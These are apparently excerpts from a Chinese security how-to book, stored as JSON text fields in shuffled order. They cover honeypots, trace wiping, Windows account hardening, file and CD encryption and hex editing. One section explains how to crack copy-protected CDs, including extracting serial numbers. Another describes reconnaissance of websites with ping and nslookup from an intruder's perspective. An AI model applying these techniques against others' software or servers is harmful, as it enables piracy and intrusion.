可先采用入侵者的身份对计算机进行扫描，利用X-Scan、Spuerscan等常用的端口扫描工具，在IP处填写本机IP，将端口定义为1～65525，单击【开始】按钮进行扫描，此时，可看到本地主机开放的端口很多，连一些危险的端口也都开放着。但这些开放的危险端口都是KFSensor模拟出来的，可以发现NT、FTP、SQL弱口令、CGI、IIS漏洞等。 当发现有人扫描该计算机时，每扫描一个端口KFSensor将会对其进行实时记录，通知区域内的图标变成红色并闪烁，同时通过声音报警。此时可打开KFSensor的日志记录，分析黑客的扫描和攻击手法等信息。 KFSensor分为三部分：工具栏、端口栏和日志栏。端口栏是模拟开放的一些端口，日志栏是入侵日志的记录，双击对应端口的日志，就可以看到里面详细记录了扫描的手法，经过上面的诱捕测试，可以确认蜜罐已经安装成功。 蜜罐技术可以通过诱导让黑客们误入歧途，消耗他们的精力，为网络管理员加强防范赢得时间，同时也是用来检验网络安全策略是否正确，防线是否牢固的得力助手。 未知 第38招 用Privacy Defender清除痕迹 Privacy Defender是一款能够真正在不重启系统情况下，擦除受系统保护的index.dat文件内容。这也是绝大多数Internet清除软件所不具有的能力。目前还没有发现有哪个软件能够做到这点。 1.Privacy Defender安全演示 这里介绍Privacy Defender一个非常值得提倡的设计“功能演示”，这个设计可让使用者以最快速度学会软件的应用。打开演示功能的方法为，在如图4-106所示的主窗口中选择【工具】→【演示】选项。 图 4-106 主窗口 2.Privacy Defender清除上网痕迹 经常上网的用户应该知道，在Internet Explorer中index.dat文件保存着所有cookies和历史记录以及缓存的索引。即使用户平时通过手工清理历史记录、删除所有Internet Explorer选项的cookies和缓存，这些操作均不能影响index.dat文件保留在曾经访问的网站列表中。 无法删除这些文件，主要因为它们是Windows操作系统的一部分，如果试图删除它们，系统会提示出错。但Privacy Defender可解决这一问题。单击【选项】按钮，在【选项】对话框中根据需要选择要删除的项，如图4-107所示。单击【确定】按钮，即可完成所有的IE相关访问痕迹的数据擦除，实现安全地上网。 图 4-107 【选项】对话框"},
    {"text": "未知 第39招 安全管理Administrator账户 Administrator是系统安装后默认的系统管理员账户，具有对系统进行一切管理的权限。以Windows XP为例，系统管理员可管理Windows XP中的所有用户，可安装和卸载系统内核级的程序，包括内置或第三方程序、网络设置、硬件驱动等；可使用系统中所有功能。扫描软件通常都是先对Administrator账户进行密码猜解，如果不对其进行适当保护将非常危险。 1.防范更改账户名 针对Administrator账户潜在的危险，可以采取一些操作简单也很实用的方法来解决这一问题，如将账户更名，可以降低遭受攻击的可能性。具体的操作步骤如下。 步骤1：选择【开始】→【设置】→【控制面板】选项，即可打开【控制面板】窗口，如图4-108所示。 图 4-108 【控制面板】窗口 步骤2：单击【管理工具】图标，即可打开【管理工具】窗口，如图4-109所示。再单击【计算机管理】图标，即可打开【计算机管理】窗口，如图4-110所示。 图 4-109 【管理工具】窗口 图 4-110 【计算机管理】窗口 步骤3：逐层单击依次展开【计算机管理】→【系统工具】→【本地用户和组】→【用户】选项，在右侧用户列表中可看到Administrator账户名已存在，如图4-111所示。 图 4-111 Administrator账户名 步骤4：在Administrator账户名上右击将弹出右键菜单，如图4-112所示。 图 4-112 右键菜单选项 下面介绍这一菜单中几个功能的作用。 1）设置密码。单击【设置密码】选项，即可打开【为Administrator设置密码】对话框，如图4-113所示。这是一个非常有用的功能。如果当前账户遗忘了密码，可以使用其他账户登录之后，使用此项功能将账户密码修改，以便当前账户可以继续使用。 图 4-113 【为Administrator设置密码】对话框 2）删除。单击【删除】选项将弹出【本地用户和组】提示框，如图4-114所示。这是一种比较彻底的针对默认管理员账户进行安全管理的措施。单击【是】按钮，Administrator账户将会自动被删除。 图 4-114 【本地用户和组】提示框 3）重命名。重命名功能可以对Administrator账户进行伪装，例如将Administrator账户名更改为\"ssn\"等无法辨识出属于管理员组的账户名，这样可以在一定程度上迷惑入侵者。 2.防范仿造陷阱账户 另建一个\"Administrator\"的陷阱账户，不赋予任何权限，并为之加上一个超过10位的超级复杂密码，再对该账户启用审核，这就会使一些黑客徒劳。具体的设置方法如下。 步骤1：在如图4-115所示的用户列表空白处右击，在弹出菜单中选择【新用户】选项，即可打开【新用户】对话框。 图 4-115 选择新用户 步骤2：在其中根据提示依次输入“用户名”、“全名”和“描述”等信息，其中“描述”输入“管理员”，而密码则应输入强度比较大的，如16位密码。选中“用户不能更改密码”复选框，可以防止密码被恶意修改，如图4-116所示。在设置完毕之后，单击【创建】按钮，即可成功创建一个名为\"Administrator\"的账户。 图 4-116 【新用户】对话框 此时的这个账户还不是一个标准“陷阱”式账户，要想使其真正起到陷阱作用，还需要将这个账户加入到Guests组中，让其只能拥有普通账户的权限才行。具体的操作步骤如下。 步骤1：右击刚才建立的\"Administrator\"账户，在弹出菜单中选择【属性】选项，即可打开该账户的【属性】对话框，如图4-117所示。 图 4-117 “隶属于”选项卡 步骤2：在“隶属于”选项卡中可以看到刚创建的\"Administrator\"账户隶属于\"Users\"组，单击下方的【添加】按钮，即可打开【选择组】对话框，如图4-118所示。 图 4-118 【选择组】对话框 步骤3：单击【高级】按钮，即可展开选择组到具有搜索功能的界面。单击【立即查找】按钮，即可看到系统中的所有的用户组，在其中选择“Guests组”选项，如图4-119所示。 图 4-119 立即查找 步骤4：单击【确定】按钮，即可返回【选择组】对话框，在其中可以看到“输入对象名称来选择”列表中已经有了“Guests组”，如图4-120所示。单击【确定】按钮，即可返回到该账户的【属性】对话框。 图 4-120 存在“Guests组” 步骤5：在【属性】对话框的“隶属于”选项卡中选择“Users组”选项，如图4-121所示。单击【删除】按钮将其删除，一个具有陷阱效果的\"Administrator\"账户就创建成功了。 图 4-121 选择“Users组” 一些高水平的黑客可能会从本地或Terminal Service的登录界面中看到用户名，然后去猜测密码，这样一来，刚才设置的陷阱式账户就没有作用了，为了更好地使其发挥作用，还应该进行如下的禁止显示登录的用户名的设置。具体的操作步骤如下。 步骤1：选择【开始】→【设置】→【控制面板】→【管理工具】→【本地安全策略】选项，即可打开【本地安全设置】窗口，如图4-122所示。 图 4-122 【本地安全设置】窗口 步骤2：展开【本地策略】→【安全选项】选项，在右侧双击“交互式登录：不显示上次登录的用户名”选项，如图4-123所示。 图 4-123 安全选项 步骤3：在【交互式登录：不显示上次登录的用户名】对话框中选择“已启用”单选项，如图4-124所示。单击【确定】按钮，针对\"Administrator\"账户进行欺骗的陷阱账户就完全创建成功了。 图 4-124 交互式登录对话框"},
    {"text": "未知 第5章 加密与解密工具 重点提示 ♂NTFS文件系统加密数据 ♂光盘的加密文件与解密技术 ♂用“私人磁盘”隐藏大文件 ♂使用Private Pix为多媒体文件加密 ♂用ASPack对EXE文件进行加密 ♂软件破解实用工具 ♂给系统桌面加把超级锁 ♂系统全面加密PC Security 本章精粹： 本章主要从加密与解密两个方面讲述加密在计算机安全中的应用与技巧。主要包括：NTFS文件系统加密数据、光盘的加密文件与解密技术、使用Private Pix为多媒体文件加密、给系统桌面加把超级锁、系统全面加密PC Security和完全解除网游外挂等。 数据的解密技术和加密技术是矛与盾的关系，它们是在相互斗争中发展起来的，永远没有不可破解的加密技术。然而，一般的解密技术总是滞后于加密技术，也就是说，一般的解密技术总是针对某一类或相关加密技术而产生。 未知 第40招 NTFS文件系统加密数据 Windows 2000/XP提供了内置的加密文件系统（Encrypting Files System，简称EFS）。EFS文件系统不仅可以阻止入侵者对文件或文件夹对象的访问，而且还保持了操作的简捷性。加密文件系统通过为指定NTFS文件与文件夹加密数据，从而确保用户在本地计算机中安全存储重要数据。由于EFS与文件集成，因此对计算机中重要数据的安全保护十分有益。 1.加密操作 利用Windows 2000/XP资源管理器选中待设置要加密属性的文件或文件夹（如文件夹为“新建文件夹”）。对某文件进行加密的具体操作步骤如下。 步骤1：在这个文件夹上右击，从快捷菜单中选择“属性”菜单项，即可打开【新建文件夹属性】对话框，如图5-1所示。 图 5-1 【新建文件夹属性】对话框 步骤2：单击“常规”选项卡中的【高级】按钮，即可打开【高级属性】对话框，在其中选择用于该文件夹的设置，如图5-2所示。勾选“压缩或加密属性”选项区中的“加密内容以便保护数据”复选框，单击【确定】按钮，即可完成文件或文件夹的加密。 图 5-2 【高级属性】对话框 2.解密操作 利用Windows 2000/XP资源管理器选中设置了加密属性的文件或文件夹（仍然以刚才加密的文件夹为例）。具体的操作步骤如下。 步骤1：找到刚才加密的文件夹并右击，从快捷菜单中选择“属性”菜单项，即可打开【新建文件夹属性】对话框。 步骤2：单击“常规”选项卡中的【高级】按钮，即可打开【高级属性】对话框，清除“压缩或加密属性”选项区中“加密内容以便保护数据”复选框的“√”。 当然进行加密/解密操作时，也应注意如下几点要求。 1）不能加密或解密FAT文件系统中的文件与文件夹，而只能在NTFS格式的磁盘分区上进行此操作。 2）加密数据只有存储在本地磁盘中才会被加密，而当其在网络上传输时，则不会加密。 3）已经加密文件与普通文件相同，也可以进行复制、移动以及重命名等操作，但是其操作方式可能会影响加密文件的加密状态。 3.复制加密文件 在Windows 2000/XP资源管理器中选中待复制的加密文件，右击该加密文件并从快捷菜单中选择“复制”菜单项。切换到加密文件复制的目标位置并右击，从快捷菜单中选择“粘贴”菜单项，即可完成操作。可以看出，复制加密文件同复制普通文件并没有不同。只是进行复制的操作者必须是被授权用户。别外，加密文件被复制后的副本文件，也是被加密的。 4.移动加密文件 在Windows 2000/XP资源管理器中选中待复制的加密文件，右击该加密文件并从快捷菜单中选择“剪切”菜单项，再切换到加密文件待移动的目标位置并右击，从快捷菜单中选择“粘贴”菜单项即可完成。 注意 如果把加密文件复制或移动到FAT文件系统中时，文件自动解密，所以建议对加密文件进行复制或移动后应重新进行加密。 如果忘记了密码，可以将安装时制作的钥匙盘放进软驱中，随便输入密码，输入第三次后即可进入程序，再选择【Functions】→【Change Your Password】菜单项即可改变密码。也可选择\"Creat a New Account\"菜单项为自己或他人建立一个新加密账号，最多设立五个，每个账号都有一个密码，只有密码设立人才可看到自己账号内的加密文件，其他人看不到。 当安装Encrypted Magic Folders后，磁盘检查程序\"Chkdisk\"就不能运行，因为它能删除所有隐藏的文件和密码数。在隐藏文件夹的工具中，Folder Guard也是一个不错的选择，感兴趣的朋友可以自己试一试，这里不再赘述。"},
    {"text": "未知 第41招 光盘的加密与解密技术 按照传统的方式将资料刻录在光盘上，备份一些普通的资料还可以，而对于备份一些重要数据就存在危险了，里面的资料很有可能被其他人非法获取。由于光盘存取数据和材料的特殊性，对光盘进行加密也成了一个问题。 1.使用CD-Protector软件加密光盘 CD-Protector是一个简单易用的光碟加密软件，被它加密后，即使把所有文件复制到硬盘上仍然不能使用。CD-Protector加密时所使用到的相关软件有Nero，加密原理是在可执行文件上加一个外壳，该外壳会判断所运行光碟上有没有加密后所产生的相对应的音频轨道，如果有则运行，没有的话则会拒绝运行。CD-Protector加密时不用修改Cue文件，不用交替写入坏轨道，由于使用了Nero刻录软件，因此对刻录机要求不高。 CD-Protector加密的具体的操作步骤如下。 步骤1：双击\"CD-Protector\"应用程序，即可打开CD-Protector主窗口，如图5-3所示。在\"File to encrypt\"文本框中输入要加密的可执行文件名。在\"Custom Message\"文本框中输入出错时的提示信息（可自行选择填写，也可不填）；在\"Phantom Trax'directory\"文本框中输入文件输出时目录；在\"Encryption Key\"文本框中输入两位十六进制的数字，这里可以输入\"00-FF\"。不同的十六进制数字代表不同的特殊加密轨道，共有256种。 图 5-3 CD-Protector主窗口 步骤2：在设置完成之后，即可看到【ACCEPT】按钮变成了红色，如图5-4所示。单击红色的【ACCEPT】按钮，即可开始加密文件。加密完成之后，单击【OK】按钮即可。 图 5-4 设置加密文件 步骤3：运行Nero主程序，新建一个刻录音频光盘的任务。在【音频光碟】选项卡中取消勾选“在光碟上定稿光碟文字”复选框；在【CDA选项】选项卡中勾选“刻录前在硬盘上缓存音轨”复选框和“清除*.cda音轨末尾的静音”复选框；在【刻录】选项卡中勾选“写入”复选框，取消勾选“终结光碟”复选框和“光碟一次性”复选框。 步骤4：在全部设置完成后，单击【新建】按钮，就可以开始新建任务了。把用CD-Protector加密过的音频文件，拖放到刻录音轨的窗口。刻录完成后，还需要再执行一遍刻录设置，主要是为了用这个方法对同一个音频文件刻录两次。 步骤5：在Nero中再新建一个只读光盘的任务，在【多记录】选项卡中勾选“开记多记录光碟”复选项，其他选项可根据需要进行相应地设置。 步骤6：完成上述设置之后，单击【新建】按钮，把用CD-Protector加密的（除音频文件外）文件都拖放到数据刻录的窗口并开始刻录，刻录的选项和刻录音轨相同。 此时，就可以看到同一个音频文件再次刻录的结果是不同的。使用CD-Protector加密过的光盘放进光驱里，文件是可运行的，但复制到自己的硬盘时就不能运行了。CD-Protector加密的光盘是由两条音轨和一条数据轨道共同组成的，数据轨道中被加密的可执行文件，在运行时将会读取光盘上的音轨，只有相对应时才会继续运行。 2.破解加密光盘 如今市面上有很多加密光盘是以特殊形式刻录的，将它放入光驱后，就会出现一个软件的安装画面将要求输入序列号，如果序列号正确就会出现一个文件浏览窗口，错误则跳回桌面。如果用户从资源浏览器中所观看的光盘文件就是一些图片之类文件，想找的文件却怎么也看不到。这时就需要对光盘进行解密了，下面介绍几种常用的破解加密光盘方法： （1）用UltraEdit等十六进制编辑器直接找到序列号 运行UltraEdit编辑器打开光盘根目录下的SETUP.EXE文件之后，选择【搜索】→【查找】菜单项，即可弹出【查找】对话框。在“查找什么”栏的“请输入序列号”文本框中输入序列号之后，勾选“查找ASCII字符”复选框，在“请输入序列号”后面显示的数字就是序列号了。 （2）用ISOBuster等光盘刻录软件直接浏览光盘上的隐藏文件 打开ISOBuster光盘刻录软件之后，选择加密盘所在的光驱，单击选择栏旁边的【刷新】按钮，即可开始读取光盘中的文件，这时会发现在左边的文件浏览框中多了一个文件夹，那里面就是要找的文件，可以直接运行和复制这些文件了。 （3）要用到虚拟光驱软件和十六进制编辑器 1）用虚拟光驱软件把加密光盘做成虚拟光盘文件，进行到1%时终止虚拟光驱程序运行。 2）用十六进制编辑器打开只进行了1%的光盘文件，在编辑窗口中查找任意看得见的文件夹或文件名，在该位置的上面或下面，就可以看到隐藏的文件夹或文件名了。 3）在MS-DOS模式下使用CD命令进行查看目录，再使用DIR命令就可以看到想要找的文件，并可以对其进行运行和复制了。 （4）利用File Monitor对付隐藏目录的加密光盘 File Monitor是纯“绿色”免费软件，可监视系统中指定文件运行状况，如指定文件打开了哪个文件，关闭了哪个文件，对哪个文件进行了数据读取等。通过它可以指定监控的文件有任何读、写、打开其它文件的操作都能被它监视下来，并提供完整的报告信息。使用它的这个功能可以来监视加密光盘中的文件运行情况，从而得到想要的东西。"},
    {"text": "未知 第42招 用“私人磁盘”隐藏大文件 “私人磁盘”软件是一款极好的文件和文件夹加密保护工具，能够在各个硬盘分区中创建加密区域，并将加密区域虚拟成一个磁盘分区以供使用。该虚拟的磁盘分区和实际的磁盘分区完全一样。用户可以在其中存放文件资料，也可以将软件或游戏安装在里面。 1.“私人磁盘”的创建 “私人磁盘”为绿色软件，下载并解压后，直接双击即可进入主操作界面执行相应地操作，包括：创建、删除、打开、修改和关闭私人磁盘等操作。 创建“私人磁盘”的具体操作步骤如下。 步骤1：先运行私人磁盘程序，因为初始密码为空，所以无需输入密码，直接单击【确定】按钮即可进入，如图5-5所示。如果已经设置了密码则需要输入相应的密码，不然会出现出错提示，无法进入该系统。 图 5-5 运行私人磁盘程序 步骤2：进入后可以看到一个微型的主界面，如图5-6所示。在其中列出了现有的磁盘分区。单击标题栏的【变】按钮，可以切换到完整界面，如图5-7所示。 图 5-6 微型的主界面 图 5-7 完整的主界面 步骤3：和微型界面相比，完整界面多了“修改用户密码”和“操作选择”两大栏目。如果用户想修改用户密码，可以在“修改用户密码”栏目中完成操作。 步骤4：创建私人磁盘。先在私人磁盘文件列表框中单击选择准备在哪个分区上创建私人磁盘（一个分区上只能创建一个，如果创建多个会出现出错提示），单击“操作选择”栏中的【创建私人磁盘】按钮。 步骤5：在很短的时间内，该软件系统就会完成私人磁盘的创建工作。在刚才选定的磁盘分区的卷标右侧会出现一个“☆”形状的标志，如图5-8所示。 图 5-8 创建私人磁盘 注意 由于私人磁盘空间是从各个磁盘分区中的剩余空间中分离出来，私人磁盘的个数和大小受实际分区和所剩空间的限制。 步骤6：选中要打开的私人磁盘，单击“操作选择”栏中的【打开私人磁盘】按钮或打开“我的电脑”，就会发现多出了一个磁盘分区，该磁盘分区I的卷标和源磁盘分区的卷标一致，如图5-9所示。 图 5-9 私人磁盘I盘 步骤7：私人磁盘创建完成后，如果需要使用它，可在“我的电脑”中像普通磁盘一样打开它；也可以先在“私人磁盘文件列表”中对应的位置单击，再单击“打开私人磁盘”按键；或双击相应盘符，程序就会打开对应的私人磁盘文件，并虚拟一个磁盘分区供使用，文件操作和普通磁盘相同，只是不能进行“格式化操作”。 步骤8：为了让该私人磁盘更符合需要，可对它进行配置。单击【私人磁盘设置】按钮，即可弹出【私人磁盘设置】对话框，如图5-10所示。 图 5-10 【私人磁盘设置】对话框 步骤9：在“盘符设置”部分可将私人磁盘的盘符设置为使用某个固定盘符，如：\"U\"；选择该项则每次打开不同分区的私人磁盘文件时都使用指定盘符，即同一时刻只能打开一个私人磁盘。如果要在私人磁盘中安装软件或游戏，则可使用固定盘符。或由系统自动分配，以同时打开多个私人磁盘文件。打开时将由程序自动分配私人磁盘盘符。 步骤10：如果将“私人磁盘密码设置”设置为“允许各个私人磁盘分别设置密码”，则在创建私人磁盘时会提示输入密码。如果输入密码为空或选择取消，则视为不使用密码保护。设置密码保护的私人磁盘在打开和删除时也都会提示输入密码。 这样，在登录私人磁盘软件的时候提示输入用户密码，而具体使用文件又需要用到磁盘密码，这样该私人资料就有双重防护了，并且可以随时使用“修改磁盘密码”来修改选定的私人磁盘文件的密码。同样，如果所设置的新密码为空，则视为取消密码保护。 2.“私人磁盘”的删除 如果要删除创建的私人磁盘，方法正好和创建相反。具体的操作步骤如下。 步骤1：在主界面中选择将删除的私人磁盘，单击操作选择部分的【删除私人磁盘】按钮，即可弹出“确认”提示框，提示是否删除，如图5-11所示。 图 5-11 “确认”提示框 步骤2：如果确定要删除则单击【是】按钮。这个操作会删除所有存在私人磁盘里的文件，所以一定要谨慎。将私人磁盘删除后打开“我的电脑”时，即可看到所创建的私人磁盘已经消失。 步骤3：在私人磁盘中的所有操作都与普通分区中的操作相同。删除私人磁盘中的文件同样要经过“回收站”。"},
    {"text": "未知 第2招 探测网站信息 网站是黑客入侵或攻击的主要对象之一，由于网站是人人都可以访问的一个内容载体，它只要有一点风吹草动，可能就会产生较大的影响，这很容易让黑客产生“成就感”。 黑客在对网站展开任务之前，通常会执行相应的探测操作。"},
    {"text": "1.探测域名和IP 对于购买了域名的网站，既可以直接使用IP地址作为网址，也可以使用域名作为网址，在如图1-10所示窗口中输入相应的内容，即可看到相应的绑定信息。"},
    {"text": "由于申请的域名是xinghuaye924.net，所以www和ftp这样的前缀可自由设置（不设置前缀也可以），如360sight.cn等。 其中，要注意www和ftp这样的前缀名，已约定俗成供Web服务和FTP服务使用了。"},
    {"text": "www：Web服务，如www.xinghuaye924.net。 ftp：数据上传下载服务，如ftp.xinghuaye924.net。 bbs：论坛服务，如bbs.xinghuaye924.net。 mail：邮局服务，如mail.xinghuaye924.net。 down：下载服务，如down.xinghuaye924.net。 news：新闻服务，如news.xinghuaye924.net。 movie：电影服务，如movie.xinghuaye924.net。 musiC:音乐服务，如music.xinghuaye924.net。"},
    {"text": "通常，黑客在访问一个网址前，可凭经验判断出其提供什么服务。 对于一名黑客来说，要入侵的网站有哪些域名，以及这些域名解析到哪些IP地址，都应该做到心中有数。"},
    {"text": "在当前命令提示符下输入\"ping bbs.newtop01.com\"命令，即可显示该论坛的反馈信息，如图1-12所示。 图 1-11 命令提示符窗口 图 1-12 显示论坛的反馈信息 步骤2：通过上述显示信息，可以看出bbs.newtop01.com这个网站解析到的IP地址是203.171.239.143。 也即bbs.newtop01.com网站内容存储在203.171.239.143这台服务器中。"},
    {"text": "要查询域名对应的IP地址，可使用ping命令。 如果希望知道有多少不同的域名指向到某个IP地址，可以通过执行如下操作来完成查询，具体的操作步骤如下。"},
    {"text": "步骤1：先在IE浏览器地址栏中输入\"http://www.myipneighbors.com/\"网址，即可进入\"myipneighbors\"的主页，如图1-13所示。 图 1-13 \"myipneighbors\"的主页 步骤2：在窗口右上角\"Search\"栏中输入要查询的IP地址，单击右边的【search】按钮，即可查看相应的结果。"},
    {"text": "2.NsLookup的使用 NsLookup命令经常会被黑客用于查询域名对应的IP地址、A（Address，地址）记录、MX（Mail Exchanger，邮件交换）记录、NS（Name Server，域名服务器）记录、CNAME（Canonical Name，别名）记录等信息。"},
    {"text": "示例1：若要查询A记录，则只需按“NsLookup域名”格式输入命令，如\"NsLookup newtop01.com\"命令，如图1-15所示。 图 1-15 查询A记录 示例2：若要查询MX记录，则只需要按“NsLookup-q=mx域名”格式输入命令即可。 如\"nslookup-q=mx bbs.newtop01.com\"命令。"},
    {"text": "图 1-16 查询MX记录 示例3：若查询NS记录，只需按“NsLookup-q=ns域名”格式输入命令，如\"nslookup-q=ns web.newtop01.com\"命令，如图1-17所示。 图 1-17 查询NS记录 有时一台服务器使用的IP地址可能不止一个，如何才能获得这个IP地址使用列表呢？ 这里以查询www.qq.com网站使用的IP地址列表为例，通过如下方法获得这项信息。"},
    {"text": "接着在命令提示符“＞”右侧输入www.qq.com命令，如图1-18所示。 在返回如图1-19所示的信息之后，即可获得www.qq.com服务器群的IP地址列表。 图 1-18 查看域名对应的IP地址信息 图 1-19 获得www.qq.com服务器的IP地址列表 步骤2：获得这个IP地址列表对于入侵者非常重要，因为当入侵者在一台服务器上使用各种入侵方法无功而返时，还有机会在另一台服务器中尝试入侵。 除可以进行域名到IP地址的查询，如果希望知道某个内网IP地址（如192.168.0.10）对应的域名是哪个，从而确切地知道企业网络服务安装在哪台机器上，只需在命令提示符窗口中输入\"nslookup 192.168.0.10\"命令。 如果能够查到该IP对应的域名，将会直接显示出来。"},
    {"text": "未知 第43招 使用Private Pix为多媒体文件加密 Private Pix是一款功能强大的多媒体加密工具。也支持对音频文件或视频文件进行加密，为用户提供了更全面的功能。Private Pix提供了简单易用的界面来对图片进行管理、加密和浏览。让用户在查看图片文件的同时还能对图片进行加密，并且具有两种类型的加密方式。 使用Private Pix对文件进行加密的具体操作步骤如下。 步骤1：运行Private Pix软件弹出\"Enter Password\"界面，在\"Password\"文本框中输入相应的口令。由于是第一次使用，这里应输入默认口令\"private\"，如图5-12所示。 图 5-12 \"Enter Password\"界面 步骤2：在密码填写正确无误后，单击【OK】按钮，即可打开【Private Pix(tm)Registration】对话框，在其中查看软件信息并填写注册内容，如图5-13所示。若无法获取注册码，则不能完成相应地注册时，但是可免费试用15天。 图 5-13 【Private Pix（tm）Registration】对话框 步骤3：根据需要，这里不进行软件注册操作，则单击【Private Pix(tm)Registration】对话框下方的【Run Private Pix in DEMO mode】按钮，即可进入【Private Pix】主窗口，如图5-14所示。Private Pix加密工具主要由显示窗口和控制窗口两部分组成。 图 5-14 \"Private Pix\"的主窗口 步骤4：在左边显示窗口的资源管理器中选择要加密的多媒体文件。如果不设置密钥，则使用默认密钥。因为这里要设置密钥，所以选择【Settings】选项卡，如图5-15所示。 图 5-15 【Settings】选项卡 步骤5：在\"Encryption Settings\"栏目中，从\"Type\"下拉列表中选择一种文件加密的类型并单击【Change Encryption Key】按钮，即可弹出【Enter Password】对话框，在其中输入需要修改的口令，如图5-16所示。 图 5-16 【Enter Password】对话框 步骤6：单击【OK】按钮，即可弹出【Encryption Key】对话框，在其中输入需要加密图片的密钥，如图5-17所示。单击【OK】按钮，即可弹出\"Privp\"消息框，提示\"key has been successfully changed\"信息，如图5-18所示。 图 5-17 【Encryption Key】对话框 图 5-18 \"Privp\"消息框 步骤7：若想改变程序密码，则在\"Program Settings\"栏目中单击【Change Password】按钮，即可弹出【Change Password】对话框，在其中输入旧的口令以及需要修改的新口令，如图5-19所示。 图 5-19 【Change Password】对话框 步骤8：单击【OK】按钮，即可弹出\"Password Change\"消息框，提示\"Password changed successfully\"信息。返回【Private Pix】主窗口，单击工具栏的加密按钮 或按\"Ctrl+E\"快捷键之后，所选的文件就被加密了，如图5-20所示。 图 5-20 \"Password Change\"消息框 解密方法与加密方法类似。用户需要先选择要进行解密的文件，如果要解密的文件与当前密钥不一样，则先修改当前的密钥或单击工具栏上的解密按钮 或按\"Ctrl+D\"快捷键，这样，被加密的文件就可以恢复原状了。 未知 第44招 用ASPack对EXE文件进行加密 对EXE文件进行加密可以使用一款由俄国人编写的Aspack软件，该软件能够对EXE文件进行压缩，从而达到隐藏EXE文件原始信息的目的。Aspack运行速度相当快，而且稳定，能够将EXE文件压缩到原有的20%～60%。具体的操作步骤如下。 步骤1：下载并解压\"Aspack\"文件，双击\"Aspack.exe\"应用程序图标，即可打开\"Aspack\"主操作界面，如图5-21所示。单击【Open】按钮，即可打开【Select file to compress】对话框，在其中选择要压缩的EXE文件，如图5-22所示。 图 5-21 \"Aspack\"主界面 图 5-22 【Select file to compress】对话框 步骤2：单击【打开】按钮，Aspack就开始压缩了，同时显示压缩的进度，如图5-23所示。在压缩完成之后，将会显示压缩比例，如图5-24所示。 图 5-23 显示Aspack的压缩过程 图 5-24 Aspack压缩完成 步骤3：在压缩完成之后，单击【Test it!】按钮，即可测试压缩后的程序执行是否正确。如果正确则会出现【Erase Bak】按钮和【Restore】按钮，用以删除原有文件和恢复原有文件，如图5-25所示。 图 5-25 Aspack测试结束"},
    {"text": "未知 第45招 “加密精灵”加密工具 加密精灵是一款加密速度极快且功能强大的国产加密工具，可用于加密任何格式的文件，几乎集成了当前所有加密工具的功能。 1.对单个文件进行加密解密 利用加密精灵可以加密任何格式的文件，并且可以同时加密多个文件，这里首先介绍如何对单个文件进行加密解密。其加密的具体步骤如下。 步骤1：运行加密精灵应用程序，即可弹出“加密精灵”的主窗口，如图5-26所示。 图 5-26 “加密精灵”主窗口 步骤2：在加密精灵主窗口中选择要加密的文件。单击【加密】按钮，即可弹出【加密】对话框，在“输入密码”文本框中输入密码，密码的范围在8～128个字符，如图5-27所示。 图 5-27 【加密】对话框 步骤3：在“加密报告对话框”选项卡中默认选择“保存到原文件目录”选项，在“加密后彻底删除原文件”文本框右边选择【YES】选项，如图5-28所示。单击【确定】按钮后，就可以开始加密操作了。 图 5-28 加密报告对话框 步骤4：在加密结束之后，在程序主窗口的“事件记录”中，即可看到“加密/解密记录”的详细信息，如图5-29所示。 图 5-29 文件加密后的事件记录信息 解密的过程与加密过程相似，在文件列表里选择要解密的文件\"myprivate.ces\"之后，单击工具栏上的【解密】按钮，即可打开【解密】对话框，在“输入密码”文本框中输入密码，如图5-30所示。 图 5-30 【解密】对话框 2.同时加密多个文件夹的所有文件 某些时候，可能需要保护多个文件夹中的所有文件，如果逐个对它们进行加密，不仅浪费时间，而且也很不便于管理。 下面介绍如何对不同文件夹中的所有文件进行加密，加密结果将直接生成可自解密的文件。加密的具体操作步骤如下。 步骤1：在加密精灵主窗口的文件列表中同时选中几个不同文件夹。单击工具栏上【加密】按钮，即可弹出【加密】对话框，在“输入密码”文本框中输入加密的密码。 步骤2：在“加密选项对话框”选项卡中勾选“不隐藏文件信息”复选框和“保存文件路径信息”复选框，如图5-31所示。选择【加密报告对话框】选项卡，在其中输入目标文件名，这里输入\"MyFolder123.exe\"。 图 5-31 加密选项对话框选项卡 步骤3：单击【确定】按钮，待加密成功之后，在【事件记录】选项卡中将会给出结束提示，同时在根目录D:\\中可以找到自解密文件\"MyFolder123\"。 在没有加密精灵的情况下，还可以实现对自解密文件进行解密，解密的过程十分简单，具体操作步骤如下。 步骤1：打开Windows资源管理器窗口之后，在其中找到要解密的\"MyFolder123\"自解密文件。双击自解密文件\"MyFolder123\"，即可弹出解密密码输入对话框，如图5-32所示。 图 5-32 “密码和选项”选项卡 步骤2：单击解密密码输入对话框右侧的【解密全部】按钮之后，选择【解密报告对话框】选项卡，如图5-33所示。 图 5-33 加密报告对话框选项 步骤3：将“使用原文件路径”选项选择为【是】按钮之后，单击【确定】按钮，就可以开始解密了。如果输入的密码是正确的，文件将会被成功解密。"},
    {"text": "未知 第46招 软件破解实用工具 在加密解密的实现过程中需要用到许多软件破解实用工具，如编辑工具、监视工具以及脱壳工具等，灵活地运用这些工具，往往可以达到事半功倍的效果。"},
    {"text": "1.十六进制编辑器HexWorkshop HexWorkshop十六进制编辑器可方便地进行十六进制编辑、插入、填充、删除、剪切、复制和粘贴工作，配合查找、替换、比较以及计算校验等命令，会使工作更加快捷。"},
    {"text": "HexWorkshop具体操作步骤如下。 步骤1：运行\"HexWorkshop\"应用程序图标，即可进入\"HexWorkshop\"的主窗口，选择【文件】→【打开】菜单项以打开目标文件（仍以KuGoo为例），如图5-34所示，左边是文件偏移地址区（默认是十六进制），中间是十六进制数据代码区，右边是文本字符代码区。 图 5-34 HexWorkshop主窗口 步骤2：在主窗口中修改十六进制代码或ASCII代码。"},
    {"text": "假设需要修改的代码距离文件起始点的偏移地址为1125，选择【编辑】→【转到】菜单项或按\"Ctrl+G\"组合键，即可打开【转到】对话框。 步骤3：在【转到】对话框中直接输入1125，并选择“文件起始”单选项和“十六进制”单选项，当找到指定偏移量时，即可用十六进制或ASCII码形式来修改指定的数据，如图5-35所示。"},
    {"text": "图 5-35 【转到】对话框 注意 在HexWorkshop工具的十六进制中是按文件偏移地址（Offset）进行显示，而在W32Dasm中和IDA Pro中则是按虚拟地址进行显示。"},
    {"text": "选择【编辑】→【插入】菜单项，即可打开【插入字节】对话框，其中的第一行是需要增加文件的字节数，第二行是默认填充的数字，如图5-36所示。 图 5-36 【Insert Bytes】对话框 步骤5：假设在这里需要加入0x35个字节的数据（填充值默认为0），单击【确定】按钮，就可以有一个0x35个字节的文件出现了，此时即可直接对此文件进行编辑。"},
